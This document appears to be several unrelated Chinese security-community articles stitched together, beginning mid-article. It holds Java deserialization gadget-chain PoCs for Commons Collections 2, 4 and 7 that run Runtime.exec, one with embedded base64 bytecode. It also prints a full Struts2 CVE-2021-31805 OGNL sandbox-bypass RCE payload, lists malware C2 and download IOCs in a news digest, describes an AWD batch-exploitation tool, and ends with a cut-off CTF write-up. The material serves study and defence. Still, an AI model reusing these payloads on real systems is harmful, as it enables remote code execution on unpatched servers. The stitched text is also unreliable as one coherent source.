先对传入的key求hash 然后计算在table中的index索引 Entry中储存着key和value Entry在table中 下面的for循环
中比较hash 比较完之后 进入equals 也是判断 在判断完之后 会添加进去
在equals中 存在get的调用
在此处触发LazyMap.get()
也就是 这里的m是LazyMap的话 就可以成功调用
但是 在这之前 我们需要 满足一个条件 就是上面的if中 我们需要构造两个hashcode相等的HashTable
我们借助一个小demo 来测试一下这里的hashcode的计算
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.util.HashMap;
import java.util.Map;
public class cc7test {
public static void main(String[] args){
Map innerMap1 = new HashMap();
innerMap1.put("123",1);
Map innerMap2 = new HashMap();
innerMap2.put("y0",1);
ConstantTransformer transformer = new ConstantTransformer(1);
Map Lazymap = LazyMap.decorate(innerMap1,transformer);
System.out.println(Lazymap.hashCode());
}
}
这个跟到最后 发现是一个Integer类型的 仅会返回一个值 那么我们传一个String类型的会怎么加密呢
我们将innerMap2传入
public int hashCode() {
int h = hash;
if (h == 0 && value.length > 0) {
char val[] = value;
for (int i = 0; i < value.length; i++) {
h = 31 * h + val[i];
}
hash = h;
}
return h;
}
发现其加密方式 这样稍微复杂一点的可以多给我们一些可乘之机
我们来细嗦一下这里的加密
当我们传入的值是两个字符的时候 这里的加密就转变成了
`31*ASCII(s1[0]) + ASCII(s1[1])`
知道了这个加密的方式 我们就可以比较容易的构造相同数值的两个字符串
pP 3552
oo 3552
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;
public class cc7 {
public static void main(String[] args) throws NoSuchFieldException,
IllegalAccessException, IOException, ClassNotFoundException {
Transformer[] fakeformers = new Transformer[]{new
ConstantTransformer(2)};
Transformer[] transforms = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class,
Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class,
Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new
Object[]{"calc"}),
};
ChainedTransformer chainedTransformer = new
ChainedTransformer(fakeformers);
Map innerMap1 = new HashMap();
innerMap1.put("pP",1);
Map innerMap2 = new HashMap();
innerMap2.put("oo",1);
Map lazyMap1 = LazyMap.decorate(innerMap1, chainedTransformer);
Map lazyMap2 = LazyMap.decorate(innerMap2, chainedTransformer);
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1,1);
hashtable.put(lazyMap2,2);
lazyMap2.remove("pP");
Class clazz = ChainedTransformer.class;
Field field = clazz.getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(chainedTransformer,transforms);
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(hashtable);
oos.close();
ObjectInputStream ois = new ObjectInputStream(new
ByteArrayInputStream(bos.toByteArray()));
ois.readObject();
}
}
## CommonsCollections 2
目前commons-collections有两个大版本 cc2和cc4是面向 commons-collections4的 之前我们一直在探讨commons-collections3的问题
先上调用链
我们之前的cc1和cc3链 都能在4中跑通 但是 需要将LazyMap.decorate处改为LazyMap.lazyMap.decorate
### PriorityQueue利用链
在commons-collections中找利用链就是从`Serializable#readObject()`到`Transformer#transform()`的过程
我们可以看到 上面ysoserial并没有给出完整的调用链
在PriorityQueue中 跟进heapify
跟进`siftDownUsingComparator`
跟进compare
看到了transform 最终调用栈如下
尝试写一下poc
这里的`PriorityQueue` 有两个参数 第一个参数是初始化时的大小 至少需要2个元素才会触发排序和比较，所以是2
第二个参数黄前面实例化的comparator传入即可
还要向其中添加数据
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.util.Comparator;
import java.util.PriorityQueue;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
public class cc2test {
public static void main(String[] args) throws Exception{
org.apache.commons.collections4.Transformer[] transformer = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[] { String.class,Class[].class },new Object[]{"getRuntime",new Class[0] }),
new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,new Object[0]}),
new InvokerTransformer("exec",new Class[]{String.class},new String[]{"calc.exe"}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformer);
Comparator comparator = new TransformingComparator(chainedTransformer);
PriorityQueue priorityQueue = new PriorityQueue(2,comparator);
priorityQueue.add(1);
priorityQueue.add(2);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(priorityQueue);
oos.close();
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
}
## CommonsCollections 4
在cc链2的基础上 将`InvokerTransformer`替换成 `InstantiateTransformer` 利用字节码来执行命令
import com.sun.org.apache.xalan.internal.xsltc.trax.*;
import com.sun.org.apache.xerces.internal.impl.dv.util.Base64;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class cc4 {
public static void setFieldValue(Object object, String fieldName, Object value) {
try {
Field field = object.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(object, value);
} catch (Exception e) {
e.printStackTrace();
}
}
public static void main(String[] args) throws Exception{
byte[] code = Base64.decode("yv66vgAAADMANAoACAAkCgAlACYIACcKACUAKAcAKQoABQAqBwArBwAsAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEAAWUBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBAAR0aGlzAQAUTEhlbGxvVGVtcGxhdGVzSW1wbDsBAA1TdGFja01hcFRhYmxlBwArBwApAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHAC0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAClNvdXJjZUZpbGUBABdIZWxsb1RlbXBsYXRlc0ltcGwuamF2YQwACQAKBwAuDAAvADABAARjYWxjDAAxADIBABNqYXZhL2xhbmcvRXhjZXB0aW9uDAAzAAoBABJIZWxsb1RlbXBsYXRlc0ltcGwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAD3ByaW50U3RhY2tUcmFjZQAhAAcACAAAAAAAAwABAAkACgABAAsAAAB8AAIAAgAAABYqtwABuAACEgO2AARXpwAITCu2AAaxAAEABAANABAABQADAAwAAAAaAAYAAAAKAAQADAANAA8AEAANABEADgAVABAADQAAABYAAgARAAQADgAPAAEAAAAWABAAEQAAABIAAAAQAAL/ABAAAQcAEwABBwAUBAABABUAFgACAAsAAAA/AAAAAwAAAAGxAAAAAgAMAAAABgABAAAAFAANAAAAIAADAAAAAQAQABEAAAAAAAEAFwAYAAEAAAABABkAGgACABsAAAAEAAEAHAABABUAHQACAAsAAABJAAAABAAAAAGxAAAAAgAMAAAABgABAAAAGAANAAAAKgAEAAAAAQAQABEAAAAAAAEAFwAYAAEAAAABAB4AHwACAAAAAQAgACEAAwAbAAAABAABABwAAQAiAAAAAgAj");
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{code});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
Transformer[] transformer = new Transformer[] {
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{obj})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformer);
TransformingComparator comparator = new TransformingComparator(chainedTransformer);
PriorityQueue priorityQueue = new PriorityQueue(2,comparator);
priorityQueue.add(1);
priorityQueue.add(2);
ByteArrayOutputStream baos = new ByteArrayOutputStream( );
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(priorityQueue);
oos.flush();
oos.close();
ByteArrayInputStream bais =new ByteArrayInputStream(baos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();
ois.close();
}
}
## Ending
在这些调用链中 我们首先分成两类 commons-collections3和commons-collection4 版本4下的调用链通过
在版本4中增加了序列化接口的`TransformingComparator` 和
自己有`readObject()`方法的`PriorityQueue`来实现从`Serializable#readObject()`到`Transformer#transform()`的
其实 在版本3中 这个调用的总体方向也是相同的 只是其中过程中使用到的方法各有不同 在实现了调用后 还可以通过字节码或者直接调用来执行命令
这些都对我们绕过诸多的过滤有所帮助。
## 参考文章
<https://xz.aliyun.com/t/9409>
<https://exp10it.cn/2022/11/commonscollections-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%88%86%E6%9E%90/>
<https://blog.csdn.net/u011240877/article/details/54604212>
| 社区文章 |
## 漏洞描述
近日，Apache官方发布了Apache Struts2的风险通告，漏洞编号为CVE-2021-31805。Apache
Struts2是一个用于开发JavaEE网络应用程序的开放源代码网页应用程序框架。
此次CVE-2021-31805（S2-062）是由于CVE-2020-17530（S2-061）修复不完整造成的。
## 利用范围
2.0.0 <= Apache Struts2 <= 2.5.29
## 漏洞分析
### 环境搭建
目前网上已经公开出很多集成环境，如果只需要简单复现漏洞，可以使用docker集成环境或者网上公开的在线靶场。
如果想要深入地探究漏洞产生原理，建议使用idea手工搭建环境。这里我们使用s2-061的漏洞demo来进行改造。
在下载好s2-061的demo源码后，我们需要修改三个地方。
修改一：
maven pom文件修改struts2版本为2.5.26。
修改二：
前端jsp文件，修改name属性标签，通过%{payload}进行赋值。
修改三：
修改action类
在完成改造之后，只需要将项目编译后运行在tomcat容器中即可。
### 前置知识
在进行漏洞分析之前，我们需要了解一些有关struts2框架的基础知识，这样才能更好地去理解漏洞产生的原理。
#### Apache Struts 2 架构概述
1. 客户端提交web请求，指向一个Servlet容器，Servlet容器初步解析该请求
2. 核心处理器Filter Dispatcher 协调其他控制器处理请求并确定合适的 Action
3. 拦截器自动将通用功能应用于请求，例如工作流、验证和文件上传处理
4. Action 方法执行，通常存储或从数据库中检索信息
5. 结果将输出呈现给客户端，可以是 HTML、图像、PDF 或其他内容
#### OGNL语法介绍
OGNL的全称是对象图导航语言（ Object-Graph Navigation Language），它是一种用于获取和设置
Java对象属性的开源表达式语言，以及其他附加功能，是Struts2的默认表达式语言。
使用这种表达式语言，可以利用表达式语法树规则，存储Java对象的任意属性，调用Java对象的方法，同时能够自动实现期望的类型转换。
如果将表达式看作是一种带有语义的字符串，那么OGNL就是这个语义字符串与Java对象之间的沟通桥梁，其功能就是双向转换语义字符串与Java对象数据即转换String和Object。
#### OGNL执行操作三要素：
表达式（Expression）、根对象（Root Object）、上下文环境（Context）
#### OGNL 三个重要操作符号
OGNL中的三个重要符号：#、%、$，这里重点介绍%，其用途是在标志属性为字符串类型时，计算OGNL表达式的值，类似JS中的函数eval()。例如：<s:url
value ="%{items.{title}[0]}"/>。
### 漏洞原理
参考国外大神的理解，在s2-061问题中，使用在jsp中定义的类，类似如下idVal=%{3*3}输入将执行双重OGNL评估，从而导致id=“9”
//example <s:a id="%{idVal}"/> //result <s:a id="9"/>
从diff分析，核心问题的部分在于属性name会调用 completeExpressionIfAltSyntax函数并将其分配给
expr，但在最终OGNL解析expr之前对name进行了递归检查。
但是如果不对name进行第二次 OGNL解析，name将不会包含用户提供的来自 URL
参数的数据。但是在前面的evaluateParams函数中却执行了另一个 OGNL解析。
所以对于某些 UIBean标记的名称属性就很容易受到两次 OGNL 解析，这就导致了远程代码执行。
### 动态调式
首先在org.apache.struts2.views.jsp.ComponentTagSupport#doStartTag处打下断点，这里对标签开始解析
到org.apache.struts2.views.jsp.ComponentTagSupport#doEndTag结束对标签解析
随后进入org.apache.struts2.components.UIBean#end
进入evaluateParams函数
在进入evaluateParams函数往后，会调用findString对属性name进行一次OGNL表达式赋值（这里我们标记为第一次OGNL表达式赋值），此时name已经被赋值为我们所提交的payload
继续往下，会对一系列的属性进行判断，目的是看这些属性是否能被利用
在判断完毕之后，会对属性name进行判断
判断的结果如下，此时的name属性不存在value且非空，所以之前两个if的判断都为永真
顺利进入completeExpressionIfAltSyntax函数
随后进入org.apache.struts2.components.Component#completeExpressionIfAltSyntax，判断altSyntax，在s2-001修复之后，altSyntax功能默认是关闭的。
同时往下会对表达式进行检查，看其中是否包含%{}，如果没有就会自动加上%{}
在org.apache.struts2.util.ComponentUtils#containsExpression中，具体检查表达式是否含有%{}如下：如果包含%{}就会返回ture，就不会进入后续的findValue，反之亦然。
此时，在org.apache.struts2.util.ComponentUtils#containsExpression判断的结果为false，我们的表达式也自动被加上了%{}。接下来就进入到findValue，在这里，表达式会进行二次OGNL表达式赋值。
继续跟进，可以看到nameValue成功被解析，返回结果为“9”
此时浏览器中也成功解析
#### 沙箱绕过
虽然目前是实现了OGNL表达式的注入，但是要想实现远程代码执行还得绕过沙箱。
首先我们来看s2-061的命令执行方式：
%{ (#request.map=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) + (#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) + (#request.map2=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) + (#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) + (#request.map3=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) + (#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) + (#request.get('map3').put('excludedPackageNames',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) == true).toString().substring(0,0) + (#request.get('map3').put('excludedClasses',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) == true).toString().substring(0,0) + (#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'calc.exe'})) }
在Struts2 v2.5.26之后将org.apache.tomcat加入了黑名单，导致无法获取BeanMap对象
绕过的新语法如下：
https://<domain>/?skillName=#@java.util.LinkedHashMap@{"foo":"value"}
创建一个 BeanMap 对象，可以通过如下实现：</domain>
#@org.apache.commons.collections.BeanMap@{}
所以，新的Poc如下：
(#request.map=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) + (#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) + (#request.map2=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) + (#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) + (#request.map3=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) + (#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) + (#request.get('map3').put('excludedPackageNames',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) + (#request.get('map3').put('excludedClasses',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) + (#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'calc.exe'}))
修复建议
目前官方已发布修复版本修复了该漏洞，请受影响的用户升级到安全版本：
<https://cwiki.apache.org/confluence/display/WW/Version+Notes+2.5.30>
参考材料
<https://mc0wn.blogspot.com/2021/04/exploiting-struts-rce-on-2526.html>
<https://mp.weixin.qq.com/s/B5KK0rCoUYJBFL9ZQhoHjQ>
<https://github.com/Al1ex/CVE-2020-17530>
<https://struts.apache.org/tag-developers/alt-syntax>
<https://cwiki.apache.org/confluence/display/WW/S2-062>
<https://github.com/Al1ex/CVE-2020-17530> | 社区文章 |
# 【知识】11月14日 - 每日安全知识热点
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**热点概要：Samsung SRN-1670D网络录像机的Web Viewer
1.0.0.193版本任意文件上传漏洞、AVGater：新的漏洞利用反病毒软件安装恶意软件、微软研究人员利用机器学习和深度神经网络发现软件安全漏洞、Google邮件通知安卓app开发者将那些滥用“无障碍”服务的app从Play
Store中移除、视频会议系统Polycom HDX的远程命令执行**
**资讯类：**
Samsung SRN-1670D网络视频录像机的Web Viewer 1.0.0.193版本任意文件上传漏洞
[https://www.exploit-db.com/exploits/43138/](https://www.exploit-db.com/exploits/43138/)
AVGater：新的漏洞利用反病毒程序安装恶意软件
<https://www.hackread.com/new-vulnerability-exploits-antivirus-programs-to-install-malware/>
微软研究人员利用机器学习和深度神经网络发现软件安全漏洞
<https://www.microsoft.com/en-us/research/blog/neural-fuzzing/>
同意Cookie的弹窗释放浏览器挖矿脚本
<https://www.bleepingcomputer.com/news/security/cookie-consent-script-drops-in-browser-cryptocurrency-miner/>
Google邮件通知安卓app开发者将那些滥用Accessibility（“无障碍”)服务的app从Play Store中移除
（在银行木马，移动勒索软件，点击欺诈机器人，广告软件以及任何其他种类的恶意app中经常出现无障碍服务的身影。多年来，这些恶意app想方设法诱导用户给恶意app授权无障碍服务。因为一旦用户授权，恶意app就可以在手机上后台任意下载执行恶意代码）
<https://www.bleepingcomputer.com/news/security/google-addresses-androids-biggest-security-problem-accessibility-services/>
**技术类：**
漏洞聚焦：Foscam C1室内高清摄像机的多个漏洞（CVE-2017-2872连续编号至CVE-2017-2879）
（攻击者可利用这些漏洞在受影响的设备上实现远程代码执行，并将恶意固件镜像上传到设备，从而使攻击者完全控制设备。）
<http://blog.talosintelligence.com/2017/11/foscam-multiple-vulns.html>
之前的漏洞：
<http://blog.talosintelligence.com/2017/06/foscam-vuln-details.html>
以Emotet为例说一说识别C2服务器以及它们的网络拓扑结构的方法
<https://www.malwaretech.com/2017/11/investigating-command-and-control-infrastructure-emotet.html>
新的银行木马IcedID
<https://www.bleepingcomputer.com/news/security/new-icedid-banking-trojan-discovered/>
<https://www.helpnetsecurity.com/2017/11/13/icedid-banking-trojan/>
（C2: medicalciferol[.]com，MD5: 82d6e69df2277073d4aaacd6994ee033）
视频会议系统Polycom HDX的远程命令执行
<https://staaldraad.github.io/2017/11/12/polycom-hdx-rce/>
WordPress <= 4.8.2 SQL Injection POC
<http://blog.vulspy.com/2017/11/09/Wordpress-4-8-2-SQL-Injection-POC/>
Xlight FTP Server 3.8.8.5 – Buffer Overflow (PoC)
<https://www.exploit-db.com/exploits/43135/>
An unicode domain phishing generator for IDN Homograph Attack
<https://github.com/UndeadSec/EvilURL>
MazarBot 3.0木马
（IOC：
Distributed: hxxp://flashplayerupd.top/adobeflash.apk；
包名: com.rqojcxtxoh.kpxwqdygwl；
C&C: hxxp://5.188.231.154/index.php?action=command；
）
<https://www.virustotal.com/#/file/24b74766bcb388b999912dd2273fae09bbddd1633df2052c24c01ce143e565ac/details>
<http://appscan.io/app-report.html?id=17fc1901ecb1dbc3eac089e578c5712aaab33a61>
Oauth 2.0 redirection bypass cheat sheet
<https://nbsriharsha.blogspot.rs/2016/04/oauth-20-redirection-bypass-cheat-sheet.html>
修复了Host Header注入的WordPress插件
<https://wordpress.org/plugins/host-header-injection-fix/>
使用IDA Pro对进程注入恶意软件脱壳
<https://www.youtube.com/watch?v=ScBB-Hi7NxQ>
<https://www.youtube.com/watch?v=kdNQhfgoQoU>
Digging into radare2 for fun and profit
<http://radare.org/get/r2avtokyo-en.pdf> | 社区文章 |
# 前言
这次`PCB-AWD`打的真是憋屈，话说第二天pwn题都全解了，只因为手速太慢（辛苦队友手交flag），导致最后离奖金还差一点，所以这次必须要开发一套二进制AWD自动化工具，这样我就可以喝茶等着队友的`exp`了。
# 工具简介
主要是两个主文件：
一个是命令行模式的`ssh`自动化连接工具 AutoBinary.py
一个是pwn题的批量自动化提交工具 batch_submit.py
### 0x1 AutoBinary
#### 设计思路
主要利用`paramiko`模块建立`ssh`和`sftp`连接，然后通过命令执行达到一键`dump`的目的。
`ssh`有两种登录方式：
1. 用户名+密码
2. 用户名+私钥
此工具已将两种方式集成
usage: AutoBinary.py [-h] [--dump] [--find] [--get] [--put] [-c COMMAND]
[-ip HOSTNAME] [-P PORT] [-u USERNAME] [-p PASSWD]
[-k KEYFILE] [-r REMOTEPATH] [-l LOCALPATH] [-v]
optional arguments:
-h, --help show this help message and exit
--dump To dump binary source
--find To get the pathslist of flag
--get To dump choose file from remote host,but if you want
get without losting privilege you prefect using [scp
-P user@hostname:remote_file local_file] to get file
--put To put choose file to remote host，but if you want
put without losting privilege you prefect using [scp
-P port local_file user@hostname:remote_file] to put
file
-c COMMAND, --command COMMAND
To exec command by ssh
-ip HOSTNAME, --hostname HOSTNAME
Input remote hostname[ip]
-P PORT, --port PORT Input remote ssh or sftp port
-u USERNAME, --username USERNAME
Input remote ssh username
-p PASSWD, --passwd PASSWD
Input remote ssh passwd
-k KEYFILE, --keyfile KEYFILE
Input ssh key file
-r REMOTEPATH, --remotepath REMOTEPATH
Input remotepath file name to dump or overwrite it
-l LOCALPATH, --localpath LOCALPATH
Input localpath file name
-v, --version Edit by BadRer V1.0
主要功能参数：
--dump 一键`dump` pwn题的源文件，用于`dump`用户工作目录下的单个源文件
--find 一键获取服务器上的`flag`所在的路径
--get 从远程服务器上获取文件 类似`scp -P port user@ip:remote_file local_file`
--put 上传文件到远程服务器上 类似`scp -P port local_file user@ip:remote_file` ,经过测试发现文件权限会发生变化，因此还是推荐使用`scp`
--command 通过`ssh`执行一些简单的命令，最常用的就是列目录
常用的命令：
python AutoBinary.py -ip 192.168.43.252 -P 22 -u pwn -p 123 --dump
python AutoBinary.py -ip 192.168.43.252 -P 22 -u pwn -p 123 --find
python AutoBinary.py -ip 192.168.43.252 -P 22 -u pwn -p 123 --command 'ls'
python AutoBinary.py -ip 192.168.43.252 -P 22 -u pwn -p 123 --get -r '/home/pwn/pwn1' -l pwn1
python AutoBinary.py -ip 192.168.43.252 -P 22 -u pwn -p 123 --put -l pwn1 -r '/home/pwn/pwn1'
### 测试
经过本地测试通过用户名密码登录的方式可以成功运行
通过用户名和私钥登录的方式还有待测试。
### 0x2 batch_submit
批量自动化提交工具，等到队友的`exp`便可以打遍全场！
#### 设计思路
通常`pwn`的批量自动化分为三步 ：
1. 写自动化提交（这得看主办方是否提供相应的接口，否则只能手动交`flag`了，哈哈）
2. 写出`exp`自动获取flag
3. 批量轮询所有ip，自动获取flag并提交
我实现了多线程的方式，并在本地测试了两个`ip`的情况，对于线上赛20多个`ip`的情况还有待实战！
#### 使用说明：
1. 首先完善`autoUtil/auto_submit.py`中的`submit_flag`函数实现自动交`flag`
2. 完善`autoUtil/auto_getflag.py`中的 `auto_get_submit` 函数 实现自动`cat flag` 并且提交，此时需要使用有效的`exp`
3. 运行 `batch_submit.py` 修改对应的`iplist`和`port`，以及采用何种批量方式
#### 批量化实现思路：
##### 多线程
利用`threading`模块，对于两个主机的批量测试通过，针对大量线程不知运行效果如何。
##### 多进程
下一步可以尝试的方向。
### 注意事项
1. 此工具所在路径不能包含中文字符
2. 此工具仅在mac以及ubuntu下测试通过，windows尚未测试。
### 后期的一些设想
可以再增加一些自动探测漏洞，自动种马的功能，并针对此工具的bug进行完善。
# 写在最后
由于某些特殊原因，不宜将此上传至`github`，基于交流分享的精神，特将思路和部分代码分享出来。
> 如果各位师傅对此感兴趣可以联系我一起合作，欢迎大家一起交流。QQ：1057947291
> 链接:<https://pan.baidu.com/s/1VgrStl6-qiki7LAajSVFDw> 密码:1lpo | 社区文章 |
# 第二届强网杯线下赛新技术分享
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x0 写在前面
强网杯是具有国家背景的CTF赛事，具有“延揽储备锻炼网信领域优秀人才，提升国家网络空间安全能力水平”两个目的。办赛任务下发后，队员和老师们尽力将赛事呈现出色，与其奖金和影响力相匹，但是我们能力有限，在竞赛过程中出现不尽如人意的地方，也请参赛选手多多包含。强网杯是一个优秀的平台，相信竞赛过后也会有越来越多的高校、企业关注网安学科。我们也收到了很多关于强网杯存在的问题，会在今后的赛事中进行改正。也谢谢给予了强网杯肯定的参赛队员和单位，大家的肯定和支持让我们几个月的义务付出有了意义，在此鞠躬感谢。
本次竞赛线下赛在确定为AD模式+春秋（中标）平台后，我们根据自身的参赛经验，决定在我们能够接触的范围内在一定程度上解决参赛的不适度问题。从办赛过程中总结来看，值得分享的技术或经验主要有：
1. 赛题相关问题答疑；
2. 如何制作AD模式的gamebox；
3. 全新的堆check机制；
4. 全新的线下赛防作弊手段；
5. 其他。
## 0x1 赛题相关问题答疑
本次竞赛部分赛题的选手疑问在这里进行集中答疑。
### revolver
revolver
该题目是对线下赛中出密码学题目的尝试，题型为re+crypto+pwn。在该题目的命制过程中，考虑了很多做题和check的技术，也导致了很多人check不过。
首先题目flag被分组密码（AES256）加密，公钥密码（RSA）则加密了AES的key，模拟分组密钥分发过程。Binary中存储固定的公钥，aes
key随机生成，flag以密文的形式存储在内存中。
首先介绍攻击方式，全场存在4种攻击方式：
1.OOB Write+Related Message Attack
很多密码学在出相关消息攻击的时候均为给出两个密文的线性关系条件，本次出题让选手通过pwn的手段自己构造线性关系。通过3-7的OOB
Write修改key，并分别在修改前后进行加密，可以获得前后相差只有1bit的密文使用e=3的相同公钥加密密文，达到相关消息攻击的条件。即使用3-6,3-7,3-6选项即可。
2.AES round key Recovery
AES256需要连续的256bit轮秘钥即可逆推，回复出初始秘钥。其实不连续也可以，但是考虑到只有三发子弹，这是一个几乎不可能完成的任务。
3.LLL Attack
这个点本来是一个干扰项（包括前面存在的OOB
Read也是干扰项），但是0ops发现了这个点其实也可以攻击，因为出题的时候忘了hex，导致高512bit是0，往后256bit是1，爆破1个bit即可完成Known
High Bits Message Attack。
4.Factory N
现场“风吹雨战队”以分解了1024bit n的方式进行了攻击。
以上为攻击方法，下面解释一下check的设置和思路。个人感觉，在题目中引入密码学会使得check异常合理且严谨：
1.首先flag是读进来的，为了保证flag的open不会被篡改，并且在checker拥有私钥的前提下，进行如下check：获取flag的密文（被aes256加密），获取aes256的key的密文（被rsa加密），使用私钥解密key，使用key解密flag，使用paramiko
ssh登录gamebox并cat flag，验证两个flag是否相等。通过以上步骤，可以保证flag在内存中是确实存在的。
2.保证所有攻击流程不会被篡改：在拥有私钥的前提下，所有的攻击流程的每一个步骤都可以进行完整的验证，思路非常简单，以正常数据（比如不会越界的数据）走完攻击流程，并用私钥解密，观察flag是否和ssh获取的flag相同。
3.针对aes轮秘钥，读取了不连续的进行check。
所以patch方法必须需要patch的非常精确，修补方法为：
1.修改程序中造成OOB Write的size，48改为16即可。
2.需要保证不能拿到连续的两个轮秘钥：对输入进行限制或者返回错误的轮秘钥。
3.修改padding，让高bit位不可知。
有部分队伍修补成功，并防御了所有攻击；但是在有战队将rsa1024分解后，所有的patch失效。如果具备分解1024RSA（pq使用openssh生成，不具备可攻击特性）的能力，或许这个题目的分数送给他也无妨。
另外感谢大佬们的好评。
### gamebox
